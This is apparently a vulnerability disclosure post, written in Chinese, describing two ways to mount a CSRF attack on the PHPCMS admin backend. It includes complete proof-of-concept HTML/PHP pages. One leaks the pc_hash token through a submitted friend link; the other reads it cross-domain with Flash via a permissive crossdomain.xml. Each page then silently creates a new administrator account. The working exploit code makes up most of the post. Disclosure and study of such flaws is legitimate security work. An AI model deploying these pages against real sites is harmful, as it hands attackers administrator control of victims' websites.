PHPCMS后台CSRF加管理两种方法POC

漏洞作者: phith0n

详细说明:

之前多个漏洞,其实都是利用了Referer,如最新这个:http://wooyun.org/bugs/wooyun-2015-098434

其实我们可以不利用Referer,能更简单获取pc_hash,并进行CSRF攻击。



法一

先管理员登录后台,来到随意一个功能页面,右键查看框架的源代码,其中有这么一段javascript:

window.focus();

	var pc_hash = 'loP6gO';

			window.onload = function(){

		var html_a = document.getElementsByTagName('a');

		var num = html_a.length;

		for(var i=0;i<num;i++) {

			var href = html_a[i].href;

			if(href && href.indexOf('javascript:') == -1) {

				if(href.indexOf('?') != -1) {

					html_a[i].href = href+'&pc_hash='+pc_hash;

				} else {

					html_a[i].href = href+'?pc_hash='+pc_hash;

				}

			}

		}



		var html_form = document.forms;

		var num = html_form.length;

		for(var i=0;i<num;i++) {

			var newNode = document.createElement("input");

			newNode.name = 'pc_hash';

			newNode.type = 'hidden';

			newNode.value = pc_hash;

			html_form[i].appendChild(newNode);

		}

	}
 

查找页面中所有超链接(a),如果不是“javascript:”开头的话,就添加pc_hash在url最后。

并没有判断这个链接是否是站内链接!

所以,如果我提交一个友情链接地址,也会被加上pc_hash,等于说pc_hash被加在我的url后面,我的服务器可以获取之!



来测试。首先前台提交一个友情链接:

06134241eb8aa89e441bb30ac2988b8b0142909c[1]

地址是我的POC(http://mhz.pw/game/tx/phpcms.php),内容如下:

<!DOCTYPE html>

<html>

  <head>

    <meta charset="utf-8">

    <title>phpcms csrf 加管理</title>

    <script type="text/javascript">

    gum = function(){

    var u = {

        'version':'1140213',

        'domain':'{{domain}}',

        'backinfo':{},

        'author': 'https://github.com/quininer/gum'

    };

    u.e = function(code){try{return eval(code)}catch(e){return ''}};

    u.name = function(names){

        return document.getElementsByTagName(names);

    };

    u.html = function(){

            return u.name('html')[0]

                    ||document.write('<html>')

                    ||u.name('html')[0];

    };

    u.addom = function(html, doming, hide){

        (!doming)&&(doming = u.html());

        var temp = document.createElement('span');

        temp.innerHTML = html;

        var doms = temp.children[0];

        (hide)&&(doms.style.display = 'none');

        doming.appendChild(doms);

        return doms;

    };

    u.post = function(url, data){

        var form = u.addom("<form method='POST'>", u.html(), true);

        form.action = url;

        for(var name in data){

            var input = document.createElement('input');

            input.name = name;

            input.value = data[name];

            form.appendChild(input);

        };

        form.submit();

    };

    return u;

}();

var timestamp = (Date.parse(new Date())) / 1000;

gum.post('http://web.com/phpcms/index.php?m=admin&c=admin_manage&a=add', {

    'info[username]': 'test_' + timestamp,

    'info[password]': '123123',

    'info[pwdconfirm]': '123123',

    'info[email]': '123@qq.com',

    'info[realname]': '',

    'info[roleid]': '1',

    'dosubmit': '提交',

    'pc_hash': '<?php echo $_GET['pc_hash']; ?>'

});

    </script>

  </head>

  <body>



  </body>

</html>
 

然后管理员在后台审核友情链接处即可看到:

06134450f1fed024c2ef6f6da8fb87dc2db4cda0[1]

如上图,phpcms直接将pc_hash加入了我的链接后面。所以管理员点击链接后我即可接收到pc_hash,进而进行CSRF攻击。

上述POC,在管理员点击后,会给目标站创建一个用户名为test_+时间戳,密码是123123的管理员:

061346303c3ae091aaa22acbeda4b3e9ff127d38[1]

法二

与discuz类似,phpcms在默认安装完成后也没有修改crossdomain.xml,典型例子就是其官网

http://www.phpcms.cn/crossdomain.xml ,和官方演示站:http://v9.demo.phpcms.cn/crossdomain.xml

06134811cdf7ee98bcd3e8c7bffd8b926e41ffbb[1]

那么我就可以通过flash直接获取其pc_hash。

蚁逅平台做演示:

06135105122458408a1ea22c7aace20fd574c623[1]

构造POC,自动添加管理员:http://mhz.pw/game/tx/phpcms1.php?domain=localphpcms.com

domain是目标域名。

<?php

$domain = isset($_GET['domain']) ? htmlspecialchars($_GET['domain'], ENT_COMPAT | ENT_HTML401 | ENT_QUOTES) : exit("no domain");

 ?>

<!DOCTYPE html>

<html>

  <head>

    <meta charset="utf-8">

    <title>phpcms csrf 加管理</title>

  </head>

  <body>

    <p>phpcms flash跨域 csrf 加管理</p>



<object style="height:1px;width:1px;" data="c00y.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="callback=getdata&url=http%3A%2F%2F<?php echo $domain; ?>%2Findex.php%3Fm%3Dadmin%26c%3Dindex"></object>



<script type="text/javascript">

function send(pc_hash){

  gum = function(){

    var u = {

        'version':'1140213',

        'domain':'{{domain}}',

        'backinfo':{},

        'author': 'https://github.com/quininer/gum'

    };

    u.e = function(code){try{return eval(code)}catch(e){return ''}};

    u.name = function(names){

        return document.getElementsByTagName(names);

    };

    u.html = function(){

            return u.name('html')[0]

                    ||document.write('<html>')

                    ||u.name('html')[0];

    };

    u.addom = function(html, doming, hide){

        (!doming)&&(doming = u.html());

        var temp = document.createElement('span');

        temp.innerHTML = html;

        var doms = temp.children[0];

        (hide)&&(doms.style.display = 'none');

        doming.appendChild(doms);

        return doms;

    };

    u.post = function(url, data){

        var form = u.addom("<form method='POST'>", u.html(), true);

        form.action = url;

        for(var name in data){

            var input = document.createElement('input');

            input.name = name;

            input.value = data[name];

            form.appendChild(input);

        };

        form.submit();

    };

    return u;

  }();

  var timestamp = (Date.parse(new Date())) / 1000;

  gum.post('http://<?php echo $domain; ?>/index.php?m=admin&c=admin_manage&a=add', {

  'info[username]': 'test_' + timestamp,

  'info[password]': '123123',

  'info[pwdconfirm]': '123123',

  'info[email]': '123@qq.com',

  'info[realname]': '',

  'info[roleid]': '1',

  'dosubmit': '提交',

  'pc_hash': pc_hash

  });

}



function getdata(html)

{

	var ret = html.match(/pc_hash=([a-zA-Z0-9]{6})/);

	if(ret.length < 2) return false;

	var pc_hash = ret[1];

	//alert(formhash);

	send(pc_hash);

}

</script>



  </body>

</html>
 

localphpcms.com的管理员访问以上POC即可添加一个管理。

不多解释了。

两种方法,均可CSRF加管理。

发表评论